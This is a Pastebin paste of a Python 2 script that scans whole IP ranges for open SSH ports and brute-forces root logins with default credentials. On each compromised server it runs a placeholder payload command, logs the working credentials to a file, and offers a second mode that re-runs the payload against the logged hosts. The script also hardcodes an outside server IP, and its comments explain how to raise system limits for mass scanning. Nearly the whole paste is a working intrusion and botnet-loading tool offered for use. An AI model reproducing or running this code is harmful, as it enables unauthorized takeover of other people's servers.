Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # DON'T LET YOUR MEMES BE DREAMS, CAM@HF
- # nano /usr/include/bits/typesizes.h -> change 1024 to 99999
- # ulimit -n 99999
- # python scan.py
- import threading, paramiko, random, socket, time
- payloadline = "EXECUTE ME"
- # ^^^Make it personal^^^
- paramiko.util.log_to_file("/dev/null")
- lock = threading.Lock()
- server_ip = "185.29.11.203"
- blacklisted = ["127.0","10.0","192.168"]
- passwords = ["root:root"]
- ips = []
- logging = ""
- def scannerthread():
- global payloadline
- global passwords
- global ips
- global logging
- while len(ips) > 0:
- try:
- with lock:
- ip = ips.pop()
- thisipisbad='no'
- for badip in blacklisted:
- if badip in ip:
- thisipisbad='yes'
- if thisipisbad=='yes':
- sys.exit()
- username='root'
- password="0"
- port = 22
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(3)
- s.connect((ip, port))
- data = str(s.recv(1024))
- if "ssh" not in data.lower():
- raise Exception
- elif logging == True:
- print("[-] SSH Open On -> " + ip)
- s.close()
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- dobreak=False
- for passwd in passwords:
- password=passwd.split(":")[1]
- username=passwd.split(":")[0]
- try:
- ssh.connect(ip, port = port, username=username, password=password, timeout=3)
- break
- except:
- pass
- badserver=True
- stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
- output = stdout.read()
- if "inet addr" in output:
- badserver=False
- websites = [ ]
- if badserver == False:
- print("[+] Executing Payload -> " + ip + ":" + username + ":" + password)
- ssh.exec_command(payloadline)
- if logging == True:
- vulns = open("vuln.txt", "a").write(username + ":" + password + ":" + ip + "\n")
- time.sleep(25)
- ssh.close()
- except Exception as e:
- pass
- def scan():
- global logging
- logging = True
- print "Example range: 185.34 - 185.157"
- threadam = raw_input("Thread Count : ")
- startrng = raw_input("Start Range : ")
- endrng = raw_input("End Range : ")
- print "Creating Ranges"
- for A in range(int(startrng.split(".")[0]), int(endrng.split(".")[0])+1):
- for B in range(int(startrng.split(".")[1]), int(endrng.split(".")[1])+1):
- for subbies1 in range(0, 256):
- for subbies2 in range(0, 256):
- ips.append(str(A) + "." + str(B) + "." + str(subbies1) + "." + str(subbies2))
- ips.reverse()
- print "Done Creating Ranges, Scanner Starting"
- threads = []
- for counter in range(0, int(threadam)):
- try:
- threads.append(threading.Thread(target=scannerthread))
- except:
- pass
- for thread in threads:
- thread.start()
- while True:
- time.sleep(20)
- threadcounter = 0
- for thread in threads:
- if thread.isAlive() == True:
- threadcounter += 1
- print "~~~~~~~~~~" + str(threadcounter) + " threads currently running ~~~~~~~~~~"
- if threadcounter == 0:
- print "Done"
- break
- def exploit():
- global logging
- logging = False
- vulnlist = open("vuln.txt", "r")
- vulnerable = vulnlist.read()
- vulnlist.close()
- vuln = vulnerable.split("\n")
- while "" in vuln:
- vuln.remove("")
- while " " in vuln:
- vuln.remove(" ")
- for line in vuln:
- try:
- ips.append(line.split(":")[2])
- except Exception as e:
- print "Wrong vuln list format? " + str(e)
- threadam = input("Thread Count: ")
- threads = []
- for counter in range(0, int(threadam)):
- try:
- threads.append(threading.Thread(target=scannerthread))
- except:
- pass
- for thread in threads:
- try:
- thread.start()
- except:
- pass
- while True:
- time.sleep(20)
- threadcounter = 0
- for thread in threads:
- if thread.isAlive() == True:
- threadcounter += 1
- print "~~~~~~~~~~" + str(threadcounter) + " threads currently running ~~~~~~~~~~"
- if threadcounter == 0:
- print "Done"
- break
- userchoice = raw_input("Scan or exploit from vuln list? ")
- if userchoice == "scan":
- scan()
- elif userchoice == "exploit":
- exploit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement